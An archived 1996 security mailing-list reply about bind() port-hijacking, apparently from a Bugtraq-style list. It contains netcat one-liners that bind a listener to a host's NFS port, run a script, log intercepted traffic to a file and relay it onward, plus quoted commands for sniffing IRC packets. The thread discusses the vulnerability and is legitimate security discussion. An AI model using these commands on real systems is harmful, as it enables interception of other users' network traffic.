|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
Re: BoS: bind() Security Problems
invalid opcode (coredump
nervosa.com)Thu, 1 Feb 1996 21:39:18 -0800
- Messages sorted by: [ date ][ thread ][ subject ][ author ]
- Next message: General Scirocco: "Re: bind() Security Problems"
- Previous message: Casper Dik: "Re: bind() Security Problems"
- In reply to: Darren Reed: "Re: BoS: bind() Security Problems"
- Next in thread: Darren Reed: "Re: BoS: bind() Security Problems"
Yes, but if you do this: netcat -lvv -s 192.88.209.5 -p 2049 -e exploit.sh& exploit.sh: tee crap | netcat 192.88.209.5 2049 and than you can capture it all to the file: crap, and redirect it to the original port. Chris, coredumpnervosa.com On Thu, 1 Feb 1996, Darren Reed wrote: > In some mail from Bernd Lehle, sie said: > [...] > > > Exploit: > > [..] > > > Run netcat: > > > > > > w00p% nc -v -v -u -s 192.88.209.5 -p 2049 > > > listening on [192.88.209.5] 2049 ... > > > > To take a look at irc packets: nc -v -v -l -s Your.IP.Adress -p 6667 > > This won't get you messages between already connected clients and servers. > > Yes, you might be able to make clients connect, at first, to you and not > a real server, but it is going to be obvious to the client: the connection > won't complete as netcat won't generate the server replies which many > clients now look for to indicate the confirmation of a connection. >
- Next message: General Scirocco: "Re: bind() Security Problems"
- Previous message: Casper Dik: "Re: bind() Security Problems"
- In reply to: Darren Reed: "Re: BoS: bind() Security Problems"
- Next in thread: Darren Reed: "Re: BoS: bind() Security Problems"